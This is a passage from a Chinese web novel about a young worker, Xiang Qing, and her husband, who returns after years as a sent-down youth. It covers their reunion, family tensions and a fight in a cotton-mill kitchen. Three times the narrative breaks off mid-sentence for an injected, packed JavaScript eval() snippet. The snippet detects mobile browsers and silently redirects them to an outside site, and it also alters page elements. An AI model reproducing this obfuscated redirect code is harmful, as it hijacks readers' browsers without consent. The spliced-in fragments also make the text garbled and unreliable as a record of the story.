祁青西眼神在二人身上打转,敏锐的察觉出这是弟弟回来后二人第一次见面,她不能做这个电灯泡,随即悄悄提起菜篮子贴着墙边溜了出去。 临走前还给向晴使了个眼色,向晴明白,青西姐是让她不要把刚刚她说漏嘴的事情告诉祁衿南。 不知道什么时候,屋外下起了雪,这还是今冬的第一场雪,指甲盖大的雪花片打在书桌前的玻璃窗上,随即又一瓣接一瓣的掉落在褪色的窗台上,慢慢的覆盖住整个窗台,变成一片纯洁的雪白色。 祁衿南就站在窗前,从向晴的角度看,扑簌的大雪配上眼前站着的人,到好像一副画一样。 祁衿南原本打算等一切都准备好,再去向晴家中正式的拜访自己的岳父岳母和她。 当年的一切都太匆忙了,让他根本没有多余的时间去想这些规矩礼节,这几年插队的时候,他时不时就会想起当时做的欠妥的地方,他太对不起向晴了,但是当时的他又完全没有能力去弥补,他有许多话想和向晴说,见不到人就只能把这些话写在信里,但是又不敢把信寄给她,怕给她招来麻烦。 现在,他心中念着的人,就这么出现在了他面前,那些话却憋在胸口一句也出不来,嗓子里就像被胶水粘住了,嘴一张一合,就是发不出声音,最后只来一句:“你...过得好吗?” 向晴坐回原处,撇过脸没去看他,听见他的声音,脑子里都是早上他在火车站接“漂亮姑娘”的画面,刚刚青西姐说的惊喜,难不成就是那个“漂亮姑娘”,他要告诉她,他要和别人结婚了? 向晴脑子里胡乱的想着,嘴上语气也没控制住,生硬起来:“好不好的,你会在意吗,我看你倒是过得挺好。” 祁衿南还以为向晴是因为他插队的时候没有联系她所以生气,忙得从两个网兜里掏出个又大又圆的苹果,用袖子擦了擦,弓着腰,用双手小心翼翼的递到她面前。 “这是我爸朋友送的,你尝尝,可甜了。” 向晴不想让他看见自己的手,只能紧紧地揣到兜里也不去接苹果,“我不吃,你吃吧。” 祁衿南蹲了下来,仰着头看向向晴,腾出一只手,揪了揪向晴的袖子,脸上满是讨好的谄笑:“别生气了,我知道错了。” 向晴哼一声,转头去看他,问道:“哪里错了?” 祁衿南:“我不该这么长时间都没给你写信,让你担心了,都是我不好。” 向晴知道他是不想再连累他,才不敢给她写信,她根本没有计较这些。 “你就没有别的想和我说的?” 祁衿南蹙眉,想了想接着说:“当年是我不好,走得太匆忙了,都没给你留下什么。” “不是这个!”向晴气他不知道是真糊涂还是装糊涂,有什么话直说就好了,她又不是那种小心眼的人,难不成他想离婚,她还能拖着他不离吗。 说着她气的起了身,祁衿南也立马跟着起来,一头雾水的看着向晴,脑海里暴风回想着插队前的事情,但是都过去四年了,一些小事和细节早就记不清了,他完全想不到向晴说的是什么。 见他不吭声,向晴索性就替他说了:“你是想要和我离婚吧,你只说就好了,用不着这么拐弯抹角的。” 祁衿南骇然一震,眼睛瞪得大大的,眼白都要跳出来了:“我什么时候想要离婚了?你不能冤枉我啊。” 向晴立马脱口而出:“那个漂亮姑娘是怎么回事?” “哪个漂亮姑娘?”祁衿南挠了挠头。 “就是你上午去车站接的那个漂亮姑娘,我都看见了,你还不说实话!”向晴愠色难掩,呼哧着喘着气,别过头去。 祁衿南这才恍然大悟,原来是为着这件事。 他简直要笑的合不拢嘴,把手里的苹果放在一边,往前走了几步,解释着说:“你说的那个‘漂亮姑娘’是我妈朋友的女儿,她准备参加今年的高考,但是她们那里教学质量不高,就想着把她送到咱这儿来上课,正好我姐那屋子不是空着吗,我妈就让她住在我家,所以我才去接的她。” 向晴见他坦然的样子不像是在说谎话,半信半疑问道:“真的?” 祁衿南急的直跺脚:“你不信问我姐,她也知道这件事。” “好吧,就当你说的是真的。”向晴偏过头绕过他,插着兜走到书桌旁倚着椅背,“听说你父母都平反了,你现在又是干部子弟了,我就是个工人,你有没有后悔过和我结婚。” 向晴终于把这段日子一直憋在心里的话问了出来,她也不是有多舍不得祁衿南,只是觉得有些对不起父母。 当时她领了证才和家里说的,父亲母亲平时那么和善的人第一次和她发了脾气,现在好不容易他们二老已经接受了这个既定的事实,如果现在她再离了婚,那又叫他们白白难过一场。 祁衿南心下一慌,嘴上斩钉截铁道:“不会不会!以前不会,现在不会,未来也不会!我祁衿南这辈子不会和向晴离婚!我发誓,如果有一天我祁衿南有任何对不起向晴的地方,就让老天爷...” 向晴怕他说出什么胡话,忙得伸手堵住了他的嘴巴,略带气道:“别瞎说,我可担不起。” 祁衿南笑着,握住向晴伸过来的手,立即感觉到触感不对,低头看去。 “这是怎么回事儿?”他的表情又严肃起来。 向晴立即把手抽了回来,垂了垂眼眸,如实说:“你走了之后,厂长就把我调去了后厨做帮厨,每天都得和冷水接触,时间长了就这样了。” 即使向晴没有明说,祁衿南也知道,肯定是因为他的身份问题,连累了她。 他现在很后悔,当时不应该答应结婚的,他当年也是急了,向晴比他大一岁,当时已经到了结婚的年龄,追她的人一大堆,还有给她介绍对象的,他实在是怕极了,怕向晴会结婚,怕就这么失去她,再加上腿上的伤还在时不时的隐隐作痛,他知道他也做不了什么重活,所以就答应了。 因为知道会给向家带来麻烦,所以他走后一直没有联系过他们,就怕信里的内容万一被有心的人看见,又解读出一些“言外之意”。 祁衿南一脸愧色,再加上无比心疼的眼神,轻声道:“对不起,都是我不好,是我太自私了,要是我当时没和你结婚,你的手就不会这样。” 他的目光一直落在向晴的手上,有些失落的耷拉着脑袋。 向晴见他这副模样,忍不住宽慰:“这婚是我要和你结的,结果也是我该承担的,我从来就没有后悔过结婚这件事,你别多想。” 祁衿南终究还是没忍住,紧紧抱住了向晴,两个人都穿的厚重,像鼓鼓囊囊的两个球抱在了一起。 一个拥抱,阔别四年之久,上一次抱她,还是在领完证那天,两个人第一次的拥抱,靠着这个拥抱,陪伴祁衿南度过了那日复一日的岁月。 “吱呀”一声,门开了。 向晴听见声音,忙得把祁衿南推开,许是她在后厨天天搬重物,力气大了不少,推的祁衿南连连向后退了好几步。 祁衿南先是呆愣了半秒,随即被向晴的举动逗得笑出了声。 祁青西见这样子,就知道她进来的不是时候,“你们继续,你们继续。”边说边往后退。 “青西姐,你别多想,我们没干什么。”向晴此地无银三百两的解释着,“你说啊祁衿南,我们什么都没干。” 祁衿南看着向晴红透了的脸颊,忍不住想要逗逗她,露出一副不值钱的笑容说:“我们真的什么都没干。” 虽然话说了,但是配上他那副表情,更惹人遐想了,祁青西一脸我都懂的表情,拿上旁边的酱油瓶又退了出去:“你们继续,我就进来拿个酱油,小晴中午就留下吃,我马上就做好了。” 祁青西说完,就把门又严丝合缝的关住。 “我让你解释,谁让你咧着个嘴嬉皮笑脸的没个正行的说,你这不是欲盖弥彰吗。”向晴怒哼哼的坐到椅子上,埋怨着祁衿南。 “什么盖不盖的,我们是夫妻,我们有结婚证,我们想做什么就做什么。” 向晴听着这话,脸更红了,什么叫想做什么就做什么,他还想做什么,正想着,思绪就又被拉回去。 祁衿南又单膝蹲到向晴面前,拉起她的手端详着,眼中满是心疼。 “下午我就去商店,给你买些蛤蜊油来涂上。” 向晴低头看向自己的手,“我用过了,但是每天都得下水,效果不好,白白浪费了钱。” 祁衿南抬头看向她:“我父母现在都平反了,你们厂长该给你调工作了吧,我明天就去找他,让他把你调回去。” 向晴也早就想到了这一层,但是现在厂里效益不好,纺棉的工人早就饱和了,现在把她调回去,那不就是让她去吃白饭,就算厂长调她回去,她也没那个脸,但是她知道祁衿南也是好心,只能先应付过去:“再等等吧,厂长应该已经在想办法了。” 她说这话只是在安抚祁衿南,她心里也没底,明天她准备去找厂长探探口风。 “你的腿怎么样了?”向晴转移开话题,看着他那条受过伤的腿。 祁衿南站起身,摆出一副轻松的样子说:“早就没事了,能跑能跳的,不信我给你跳一个。” 说罢就原地蹦了起来,生怕向晴不信。 向晴忙拉住他,担心道:“你别折腾了,万一再出点什么怎么办。” 转而她眼中又落寞起来,低声道:“都怪我。” 祁衿南立马严肃起来:“我说了,那件事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407381|184546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和你没有关系,是我自己做的决定,后果就该我来承担。” 向晴知道他不愿意再提起这件事,也不再继续这个话题。 两人说话的功夫,祁青西的午饭也做好了。 进门之前,还专门敲了门。 祁衿南和祁青西去端菜,向晴在屋里摆放碗筷。 一盘米粉肉,一盘醋溜白菜配上蒸好的大米饭,三个人围在那张平时只有一人吃法的小桌子上,略显拥挤。 祁衿南紧紧贴着向晴的一侧身子坐着,旁边倒是空出一大块,祁青西坐在对面,忍俊不禁。 “你干嘛离我这么近。”向晴瞥了一眼他一侧的空位。 “这样吃不是暖和些嘛。”祁衿南笑着给向晴夹了一块肉。 向晴无奈,她的另一侧是墙壁,她也无法挪动,只能尽力把自己缩成一个小圈,不碰到祁衿南的胳膊,但是对方不知是有意还是无意,总会时不时“剐蹭”她一下。 一顿饭就这么挤着吃完了。 临走的时候,祁青西把这阵子攒的几双手套拿给向晴,知道向晴的手总是沾水,所以她就把她们手术室的手套拿来给她用,但是物资紧缺,每次也只是一双一双的拿,有时候还没有富余的,所以能拿给向晴的也不多。 向晴谢过祁青西,这手套她很宝贝,每次都是用了又用,直到破损松垮才换新的,但是最近断了货,再加上又是冬天,所以手才更严重了,有了这几副,应该还能再撑一段日子,把这个冬天熬过去。 “姐,那些水果你一个人吃不了吧。”祁衿南象征性的询问了一句。 祁青西还不知道他什么意思吗,她拿起一网兜,塞到向晴手里。 “小晴你拿着,我吃不了这么多,你拿回去,和伯父伯母姐姐一起吃。” 向晴白了祁衿南一眼,这是他父母给自己女儿的,她拿了多不合适,她推搡着说着不要。 “你就拿着吧。”祁衿南直接按在她手里,“就当是我姐给我岳父岳母拜个早年,我姐都和我说了,这几年她没少吃你送来的饭菜,你就当是我姐的一份回礼,一份心意。” “是啊,就拿着吧,也不是什么贵重的东西。”祁青西附和着。 向晴听了这话,也没有再拒绝的道理,只好收下了这一网兜新鲜的水果。 这个年代,能吃上饱饭都是一件奢侈的事情,哪里还有水果来打牙祭,她掂量着这兜水果,换成钱和肉票,估计都能买几斤排骨了。 回去的时候是祁衿南骑车送她回去的,一路上她也没有问起青西姐说的“惊喜”是什么,就再等等,看他又耍什么花招。 不过她倒是知道了不少他的事,当然了,不是向晴自己问的,是祁衿南自己嘟嘟囔囔,把什么都和她说了。 他说他现在在一家报社做临时记者,其实就是帮人家拍拍照,因为之前他有过照相机,有拍照经验。 他的一个在报社工作的记者朋友就把他引荐给了报社的领导,虽然不是正式工,但是最起码也算是有了一份工作,还是他喜欢做的事情。 向晴很为他开心,其实按照他的家庭条件,让他父母帮着找一份体面的工作不是什么难事,他肯定是因为喜欢才选择了这份工作。 能做自己喜欢的事情,是令人羡慕的。 向晴让他把车停在胡同口没有进去。 祁衿南原本准备过几天,在年前带些礼品去拜见自己的岳父岳母,但是今天来都来了,不打个招呼不合规矩,想跟着向晴一起进去看看。 向晴以太突然了搪塞过去,现在家里那位估计还在气头上,现在他进去就是找骂,还是先把姐姐哄好了,再让他们见面。 祁衿南想想也是,于是告别道:“那我就先走了,等过几天一切都准备好了,我就正式来看咱爸咱妈向雾姐,还有你。” 祁衿南手扶着车子,一脸不舍的看着向晴。 向晴不知道他说的“一切都准备好了”是什么意思,权当是他要准备些礼物,也没有细想。 “你快回去吧,这么冷的天别冻着了。” 祁衿南个子很高,人好像比走之前更瘦了,原本脸颊上的两块肉消失不见,棱角更锋利了,鼻子也十分高挺,整张脸看上去英气十足,略微黝黑的皮肤让他看上去成熟了不少。 他现在的样子和向晴十几岁的时候第一次见到他的时候变化还是很大的,看来下乡的这几年还是挺锻炼人,他应该也吃了不少苦。 “没事,我看着你进去。” 向晴拗不过他,“随便你。” 说罢向晴就抱着水果往家走去 雪还在下着,祁衿南看着眼前围着红围巾的女孩儿,一双脚踩在雪地上“嘎吱嘎吱”的响,这块红围巾还是他走之前送给她的,见她还在戴着,就觉得好像什么都没有变。 他想,他们的生活就像这场大雪一样,从此要崭新起来! 5. 第 5 章 向晴抱着网兜,满腹心事,一步一个脚印踩在雪白的新雪上,到了门口没有直接进去,磨磨唧唧的踌躇了一阵,正巧向存志出来倒碳灰,发现门口还站着个被雪打湿的大闺女。 “站门口干嘛呀,自己的家都不回了,快进去。” 周芳听见声音立马迎出来,满眼都是担忧的关切道:“你去哪儿了呀,我和你爸都担心坏了。” 说着搀起向晴就进屋。 向晴跺了跺脚上的雪,周芳上手给女儿摘下打湿的围巾,上面的雪花一进屋就融化了。 “我去青西姐那里待了一会儿。”向晴把手里的水果放到刚吃完饭的桌子上,眼睛向屋里瞟了瞟。 门没有关,两只穿着红袜子的脚掸在床边,应该是在休息。 周芳压低了声音说:“我和你爸把事情的来龙去脉都和你姐说了,她就是心疼你才和你生气的,你进去和她好好说说,别犟,亲姐妹哪能有隔夜仇。” 向晴脱下外罩衣递给周芳,“妈你放心吧,我都明白。” 她说着从网兜里拿出一个红彤彤的大苹果,用水洗干净一起带了进去。 向雾正闭着眼,两只胳膊架在后脑勺,看似悠闲的躺着,向晴知道她没睡,两个人的床就隔了一个胳膊的距离,向晴坐到自己的床上,呆呆地看着向雾。 “别装了,我知道你没睡。” 向雾也没睁眼,慢悠悠的说:“这是我家,我想怎么样就怎么样,倒是你,已经是嫁出去的女儿了,还死乞白赖的住在家里,也就是爸妈心善,要是换了院里的胡大妈,你早就被赶出去了。” 向晴知道她说的是气话,也不恼,“姐,我知道这件事是我办的不对,但是我当时是真没有办法了。” 向雾听她声音不对,这才睁开眼,转过头看去,向晴眼眶已经有些红润,心知这件事应该另有隐情,于是起身把门关上,坐在她对面轻声说:“老实交代吧。” 事情是发生在高中,当时祁衿南的父母已经被下放,他因为年纪不够还不能去插队,只能留下来继续读书。 他们班的同学都知道他的家庭成分,所以对他的态度不是退避三舍就是刻意欺压,那个时候他的日子很不好过。 有一次向晴遇到几个难缠的追求她的男生,她当时心烦意乱,不想搭理他们,但是那几个人一直跟着她,后来被祁衿南看到了,他上前护着她,刚开始只是起了些口角,后来有人认出他来,双方就打了起来。 不知道是谁拿了块板砖拍到了祁衿南的膝盖处,当场就血流不止,送到医院的时候整个裤腿上都是鲜红的血。 医生说幸好送来的及时,腿是保住了,就是不知道多久才可以自由行动。 幸好祁青西就在这家医院,抽空还能来照顾他,当时他们的父母都不在,只有姐弟二人相依为命。 向晴愧疚极了,要不是她,他的腿就不会受伤。 祁衿南倒是还乐呵呵的,仿佛受伤的不是他,后来他就退了学,原本到了插队的年纪,但是因为腿伤一再推迟,因为他家庭成分不好,所以街道里的人根本不在乎他是不是有腿伤,一而再再而三的去催他插队。 向晴一趟又一趟拿着医院开的证明去说情,到最后还是不行,在他可以下地行走的时候就被安排插队。 按照他的成分,肯定是往最艰苦的地方分配,但是他的腿又干不了重活,这刚养好的腿去了就相当于废了。 向晴不知道从哪听来的和红五类家庭结婚可以留在离家近的地方插队,这才想了个主意,和祁衿南领了证。 所有人都只以为向晴是因为和祁衿南关系好才这样做的,却不知这里面还有这层内情。 向晴原本没想着隐瞒,但是祁衿南不想让她承受非议,只说是因为那些人欺负他,他才和他们动的手,至于那几个男生,看到出了这么大事早就慌了,人家没有追究他们的责任就谢天谢地了,肯定不敢把实情说出去。 所以向晴选择和祁衿南领证,其实一大半是出于愧疚。 向雾看着流着两行清泪的向晴,伸手给她擦了擦脸上的泪珠子,这样一切就都解释的通了。 刚刚听完母亲的说辞,她是不相信的,她知道向晴和祁衿南关系不错,但是她的妹妹她了解,她不会仅仅只因为一个关系不错的朋友,连父母都不告诉就和他结了婚。 “行了,这件事就让它过去吧,没想到祁衿南这小子还挺有担当的。” 当时向晴还只是一个学生,要是这件事传出去,难免会给向晴惹上争议,到时候她在学校的日子也不好过。 向雾忽然又想起早上在火车站见到祁衿南和另一个女生,问道:“今天早上怎么回事?他回来了为什么不来见你?那个女的又是怎么回事?” 她现在算是接受了妹妹和祁衿南结婚这个事实,祁衿南这个人她也算了解,家世好,人品也没的说,也算是一个不错的结婚对象。 向晴把手上的苹果塞到向雾手上,和她大略解释了一通,把祁衿南和她说的又复述了一遍。 “那你可得看好他,俩人都住在一起了,保不齐发生点什么事。”向雾清脆的咬下一口苹果。 向晴也不是没有这个担忧,但是又下意识的在姐姐面前维护了祁衿南一句:“他不会的。” “他不会,不代表那个女孩儿不会啊。”向雾一只手抵在床上,向后仰着吃着苹果,“还有祁衿南他妈,也就是你的婆婆,这可不是个好对付的主,当时你们结婚的时候她已经离开了,现在回来了还没有见你,还不知道心里怎么想的呢。” 说到这儿,向晴眸子一沉,她也知道祁衿南妈妈的个性,不是个好相与的。 之前祁衿南表哥方简清暂住在他家的时候,邀请她和姐姐去过他家里一次,虽然祁母招呼的十分周到,但是向晴总觉得不太舒服,总觉得她心里是瞧不上她们的,向雾自然也感受到了,自那以后她们就再也没有去过祁家。 向晴长舒了一口气:“走一步看一步吧。”大不了就离婚。 怕向雾担心,后半句向晴没有说出口。 这一天实在是很漫长,晚上周芳把中午给她留的排骨又热了热,向存志还给她倒了杯小酒。 第二天向晴还是按照往常的时间,早早地就起了床,生怕吵醒还在打着呼噜的向雾,她蹑手蹑脚的穿好衣服,轻轻地把门带上。 以前向雾是不打呼噜的,向晴猜想,应该是插队的时候累出了这个习惯。 外面天还没亮,向存志也已经起了床,正在院子里扫雪。 其实原本向存志不用起这么早,但是他不想女儿一出门就踩进厚厚的雪中,所以赶在向晴出门前,把院子里通往门外扫出一条小路来。 周芳也披着褂子起来了,把昨天烤干的红围巾拿给女儿,用刚起床略带沙哑的嗓音叮嘱着:“路上滑,走路的时候小心些,有的冰被雪盖住了,别摔倒了。” “知道了,我慢点走。”向晴说着戴好手套,“你别出来了,外面冷。” 周芳趴在冻着冰花的玻璃前,目送着女儿离开,不由得在心中叹了口气,这份帮厨的工作太辛苦了,她真的是心疼,不知道现在祁家平反之后,女儿工作的事情会不会有转机。 向晴忙了一上午,今天因为大雪封路,所以原定的食材没有送到,他们就用原本储存的大白菜,土豆之类的过冬菜来做今天的饭。 向晴就一个劲的洗洗洗,切切切,炒菜的香味时不时勾搭着她肚子中的馋虫,胃里“咕噜咕噜”的不停响着。 终于在打完饭之后,她才闲下来,或许是今天全是素菜,大家都不爱吃,醋溜白菜还剩下许多。 向晴自己给自己盛了满满一饭盒,又拿了两个大馒头。 她准备饱饱的吃完这顿就去找厂长问问她调动工作的事情。 不巧又迎来了一件麻烦事。 后厨只有两个女生,一个是她,还有一个就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407382|184546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主管后厨的主任黄贞媛。 黄贞媛是前年到她们国棉厂的,看长相年纪应该和向晴差不多大,据说是厂长的侄女。 向晴对别人的事情不关心,谁来当这个主任对她来说都一样,反正也不能让她少洗一颗白菜,少切一个土豆。 但是有的人不会这么想,甚至可以说大多数人不会这么想。 就她们后厨一共也就十三个人,已经分成了两派。 一派站新来的主任,整日里对人家鞍前马后,嘴上也满是恭维之词。 另一派站钱大山,后厨的一位负责采买的老人,现在的副主任。 他已经在后厨干了将近二十年,原本前一位主任退休的时候,他是最有希望继任的,当然,他自己也是这么认为。 从资历,到能力,再到人心,他觉得自己都能胜任这个职位,可是没想到却半路来了个空降兵,还是个年纪轻轻的小姑娘,这让他还怎么有脸在后厨待下去。 所以钱大山心一横,就去找了厂长,厂长或是出于心虚,再或是出于体恤下属,最终答应把钱大山升成副主任,和黄贞媛两个人一起管理后厨。 虽然钱大山很不喜欢这个“副”字,但是他也知道这是目前最好的解决方法,再闹下去大家脸面都不好看,到时候连副主任都捞不到。 向晴算是后厨里的一个特殊的存在,两派都不站,不论是主任还是副主任,交给她活她就干,对谁都是一个样子,既不奉承也不说闲话。 她是因为祁衿南的成分问题被调到后厨的,所以大家对她不算友善,但是又碍于她是一个小姑娘,也不会明着刁难她,但是也没少让她做脏活累活。 那个黄贞媛标榜自己是思想进步的好青年,所以对于向晴这种“执迷不悟”的人最是看不惯,自从她上任之后,向晴的日子就不算好过,手就是从那个时候开始慢慢变糙的。 向晴前些日子找黄贞媛问过工作调动的事情,都被她以“思想觉悟低下”打回来了。 所以这次她干脆就绕过她,直接去找厂长,要是她没记错,祁衿南父亲是税务局的局长,提他应该会有作用,该利用的时候也得利用利用,她被调到后厨工作,说到底也是因为他们祁家人。 其实向晴不反感后厨的工作,她甚至对做饭很有兴趣,但是因为她身份的问题,黄贞媛下了命令不让大厨教她颠勺做饭,所以和她一批的帮厨都能上手自己做了,只有她还只能做最基础的工作,这才是最让她难受的地方。 “向晴,主任叫你!”喊话的是刘三平,是黄贞媛那一派的。 向晴的馒头只吃了一半,菜还有大半盒,她把剩下的一个半馒头放进去,用盒盖盖好放到自己做的小木凳上。 今天黄贞媛穿了一件灰色格子的呢子外套,一件蓝色的高领毛衣,还配了一双当下时兴的皮鞋,一看就是精心打扮过的。 她就站在后厨的门口不远处的过道,再旁边就是她的办公室和仓库。 黄贞媛用戴着眼镜的四只眼,上下打量了一眼向晴,开门见山问:“周五下班是你最后一个离开的?” 向晴虽然不知道她为什么这么问,还是顺着她的问题回想了一下,确实是她最后一个走的,门也是她锁的。 “是。” “仓库里少了一扇排骨你知不知道?”黄贞媛接着问,此时她的语气有些尖锐。 向晴眉头一皱,料想她应该是怀疑她偷了那扇排骨。 “我不知道,我是因为临走前不下心把菜汤撒到衣服上,我怕回家就洗不掉了,就在这里先搓了搓,所以才耽搁了。”向晴解释着,忽然又道:“再说了,我最后一个走和丢的排骨有什么关系,这也不能证明排骨丢了就和我有关系啊。” 黄贞媛懒得听她解释,继续咄咄逼问着:“有人看见你那天走的时候包里特别鼓,你怎么解释?” 向晴心中“咯噔”一下,她那天的包里确实很鼓,可那装的不是排骨,是棉布。 6. 第 6 章 棉布是向晴同在国棉厂车间工作的好友李芸拿给她的,周芳说向雾想给向雾做几件衬衣上大学穿,但是家里布票又不够,让向晴想想办法,看看能不能借点出来。 他们院子里的人周芳都问过了,最近是知青返城的日子,大家手里都没有多余的布票,孩子好不容易回来,谁不想给孩子做几件新衣服穿。 原本周芳也是留了的,但是不巧前阵子向存志的徒弟结婚,就用在他身上了。 他这个徒弟身世可怜,只有一个残疾的母亲,所以结婚的一切事宜都是周芳帮着张罗的,都要结婚了,肯定得置办点新行头,他一个学徒能有多少布票,索性周芳就拿出了给向雾留的布票用到了他身上。 向晴记得她当时是这么说的:“结婚可是一辈子的大事,你姐姐的衣服再想办法。” 下班的时候向晴碰到了李芸,原本向她是打算问问她有没有多余的布票,哪知道李芸一听是给向雾做衣服用,立马摆出一副侠女的模样和她说交给她。 果然第二天中午,李芸就带着一包棉布来找她,让她带回家用。 有的时候在处理布料“废品”时,质检员会将一些可回收但成色稍好的“次品布”或大一点的布头,划归到“废料”中,这也算是大家心照不宣的一种“灰色途径”。 李芸是车间主任的侄女,所以这些好处当然也不会少了她的。 虽然大家都知道,但是没有挑破,就没有人担责,毕竟法不责众,如果向晴把这件事说出去,那不就是把李芸“卖”了,上面查下来,李芸可能就没法在车间里待了,她不能开这个口。 向晴面上保持着镇定,随便找了个理由说:“我妈怕我冷,给我多带了一件衣服。” 黄贞媛显然不相信,冷哼一声道:“带衣服?带了衣服你不穿,带它干嘛?” 向晴语气也不客气,回击道:“我觉得没那么冷不想穿不行啊,我穿不穿衣服你也要管啊,管的有点多了吧。” “你!”黄贞媛第一次听到向晴用这种“不尊重”的语气和她讲话,旁边看热闹的人越聚越多,让她面上有些挂不住。 “今天索性我们就把话说清楚,让大家看看是不是我管的多了。” 说着,黄贞媛一旁的刘三平把向晴放着的饭盒拿了过来,当着她的面揭开。 黄贞媛朝饭盒里看了一眼,冷哼道:“大家都看看,这便宜占的没够,馒头要吃两个,菜要吃一盒,都像你这么给自己盛饭,那食堂还开不开了,直接做慈善好了。” 后厨干的都是体力活,所以大家吃的都比较多,向晴算是里面吃的少的了,而且在后厨就一点好,饭菜可以打满,不用颠勺,所有人都这么做,又不是只有她自己。 向晴脾气也上来,没好气道:“黄贞媛,你不用在这儿阴阳怪气,这些事情大家都心知肚明,你犯不着拿这个攻击我,至于你说的那扇排骨,我没有见过也没有拿,有这种闲工夫来找我麻烦,不如查查自己手下的人手脚干不干净。” 说罢她就要转身离开,忽然胳膊上一受力,又被拽了回去。 “你别走,把话说清楚,你的意思是我手底下的人的偷的排骨?”黄贞媛拔高音量,这么多人看着,她不能让向晴留下这么一句不清不楚的话就离开,否则倒是她心虚了。 向晴有些烦躁,用力甩开她的手,反问道:“他们偷没偷,你不知道吗?” 一旁的刘三平上前一步,维护着黄贞媛道:“你一个和坏分子结婚的人,怎么敢和主任叫板,要不是主任照顾你,这些年你能这么轻松的待着吗?” 人越聚越多,都是来看热闹的。 不知道是谁在身后推搡了一下,把向晴直接撞到了黄贞媛身上,黄贞媛不干了,又往回推向晴,不知怎么的,两个人就扭打在了一起。 刚刚所有围观的人见事情不妙,开始拉架,刘三平一派拉黄贞媛,钱大山一派拉向晴,就这么推推拉拉,一堆人出了门,到了厂区里。 食堂就在国棉厂正门的右侧不远处,厂长顾前进正从门口带着今天要来采访的两位记者边说边笑的往办公室走,就听见一阵哄闹的吵闹声。 当然,两个记者也注意到了。 李岩凭借着自己做了几年记者的“敏锐”嗅觉,就知道这件事不简单,忙拍了拍身侧挎着相机的祁衿南说:“快拍快拍。” 祁衿南迅速举起相机,调整着焦距,对准人群手指迅速按着快门,越拍越觉得相机里的人,好眼熟。 向晴上一次打架还是小学的时候,院里的几个男孩子合起伙来打她一个,后来被向雾挨家挨户的“慰问”了,自那以后大院里就没人敢欺负她了。 今天不是她故意出手的,但是打都打了,就痛痛快快的打一场,消解消解心中憋了好些日子的疙瘩。 有时候真不知道那些人是在拉架还是在助攻,拉了半天,她的手就在黄贞媛的头发上没下来过,当然,对方也没有放过她,向晴觉得自己的头皮紧一阵松一阵的,拽的生疼。 耳边只有不断地“别打啦”传来,有人拉着她的胳膊,有人拽着她的衣服,让她站不稳又倒不下。 正当两个人如火如荼的战斗着,向晴忽然觉得眼前一黑,头上的头皮不再疼了,黄贞媛松开了手,不,准确的说是“被”松开了手。 她抬头看去,就看见祁衿南用力抓着黄贞媛的胳膊,回头询问她:“你没事吧?” 向晴有些发懵的盯着祁衿南,忘了自己还在打架,呆呆的点点头:“我没事,你怎么来了?” “我来和李岩采访。”祁衿南高高抬着黄贞媛的胳膊,生怕她再一次把“魔爪”伸向向晴。 “相机相机,不要伤了相机!”李岩在人群外一脸担忧的喊着,相机可是他的命根子,他答应过主任,相机在他在。 向晴手上又加了一分力,朝李岩看了一眼。 “啊!”黄贞媛大叫着。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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祁衿南嘴角忍不住上扬,她还是那么容易脸红。 李岩是个自来熟,立马笑眯眯的打起招呼:“嫂子好,我叫李岩,是北方报社的一名记者,南哥现在就是在和我一起跑新闻。” 向晴和他握了手,嘴里也介绍着自己:“我叫向晴,是国棉厂的工人。” 祁衿南又学着向晴,也介绍着自己:“我叫祁衿南,是向晴的丈夫。” 说着也把手伸了出去,向晴“啪”一声,把他的手拍到一边去,白了他一眼转身快走起来。 祁衿南立马跨了一个大步跟了上去,侧着头在向晴耳边不知道说了些什么,惹得对方又在他胳膊上锤了一拳。 “得,能治南哥的人终于出现了,这家庭地位一目了然啊。”说完李岩小跑着跟了上去。 7. 第 7 章 顾前进的办公室不算小,但是几个人往里一站,倒是显得拥挤起来。 他走了一路,被冷风吹得也清醒了许多,一个是自己的侄女,一个是税务局局长的儿媳妇,不论是什么事他都只能大事化小小事化了。 之前向晴结婚的时候,他看过男方的家庭档案,所以祁衿南父母是做什么的他都知道,前几天听说他们一家都平反了,官复原职,他就准备着为向晴调换工作,但是现在车间里又不景气,需要这么多工人,把她往上升一升吧,又怕别人闲言碎语,这件事也给他难坏了。 何况今天祁衿南还是来采访他的记者,刚刚那么明目张胆的维护向晴的样子就说明两个人感情不错,他可不能得罪这两位主。 “坐吧各位。”顾前进说着坐到了黑色沙发的主位上,向晴祁衿南李岩坐在一侧,黄贞媛坐在另一侧。 “说说吧,你们二位这是怎么回事啊,怎么还当着那么多人的面打起来了。” 黄贞媛抢着说:“是她偷东西,我只不过是问了她几句,她就动起手来了。” “我没偷,况且我也不是故意动的手,是有人推了我一把。”向晴不耐烦的解释着。 顾前进眉头一皱:“丢了什么东西?” “排骨,整整一扇排骨,那可是留着过几天领导视察的时候吃的。”黄贞媛摆出一副好像自己家的排骨被偷了的样子,斜眼愣着向晴。 